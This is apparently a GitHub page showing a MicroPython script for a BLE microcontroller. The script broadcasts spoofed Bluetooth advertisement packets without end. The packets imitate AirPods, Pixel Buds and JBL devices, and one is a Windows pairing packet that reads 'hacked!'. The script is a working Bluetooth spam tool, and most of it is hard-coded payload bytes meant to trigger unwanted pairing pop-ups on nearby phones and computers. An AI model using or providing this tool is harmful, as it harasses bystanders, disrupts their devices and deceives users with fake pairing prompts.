-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
83 lines (66 loc) · 3.79 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from machine import Pin
import ubluetooth
import time
class BLE_Advertiser:
def __init__(self):
self.ble = ubluetooth.BLE()
self.initialize_ble()
def initialize_ble(self):
# Ensures the BLE module is properly initialized
try:
self.ble.active(True)
print("BLE Initialized successfully.")
except OSError as e:
print(f"Failed to initialize BLE: {e}")
time.sleep(1)
self.ble.active(True)
def start_advertising(self, payload):
try:
self.ble.gap_advertise(100000, adv_data=payload) # Advertise with 100ms interval
except OSError as e:
print(f"Failed to advertise: {e}")
self.stop_advertising()
def stop_advertising(self):
try:
self.ble.gap_advertise(None)
except OSError as e:
print(f"Failed to stop advertising: {e}")
def restart_ble(self):
print("Restarting BLE...")
self.ble.active(False)
time.sleep(1)
self.ble.active(True)
# List of devices with simplified payloads
devices = [
# Airpods Pro (simplified for testing, 31 bytes)
bytes([0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]),
# Airpods Max (simplified for testing, 31 bytes)
bytes([0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]),
# Airpods 2 (simplified for testing, 31 bytes)
bytes([0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]),
# Pixel Buds (simplified, 31 bytes)
bytes([0x1e, 0xff, 0x2c, 0x00, 0x06, 0x92, 0xbb, 0xbd, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]),
# Google Pixel Buds (simplified, 31 bytes)
bytes([0x1e, 0xff, 0x2c, 0x00, 0x06, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]),
# JBL Flip 6 (simplified, 31 bytes)
bytes([0x1e, 0xff, 0x2c, 0x00, 0x06, 0x82, 0x1f, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]),
# JBL Buds Pro (simplified, 31 bytes)
bytes([0x1e, 0xff, 0x2c, 0x00, 0x06, 0xf5, 0x24, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]),
# JBL Live 300TWS (simplified, 31 bytes)
bytes([0x1e, 0xff, 0x2c, 0x00, 0x06, 0x71, 0x8f, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]),
# Windows 10/11 "Hacked!" Popup (custom payload with 030008)
bytes([0x1e, 0xff, 0x06, 0x00, 0x03, 0x00, 0x08, 0x68, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x21]), # Raw-Data for "hacked!" with 030008
]
# Device names to print during the loop
device_names = [
"Airpods Pro", "Airpods Max", "Airpods 2", "Pixel Buds",
"Google Pixel Buds", "JBL Flip 6", "JBL Buds Pro", "JBL Live 300TWS", "Windows 10/11 Hacked!"
]
advertiser = BLE_Advertiser()
# Start an infinite loop to advertise the devices
while True:
for i, device in enumerate(devices):
print(f"Advertising {device_names[i]}...")
advertiser.start_advertising(device)
time.sleep(2) # Advertise each device for 2 seconds
advertiser.stop_advertising()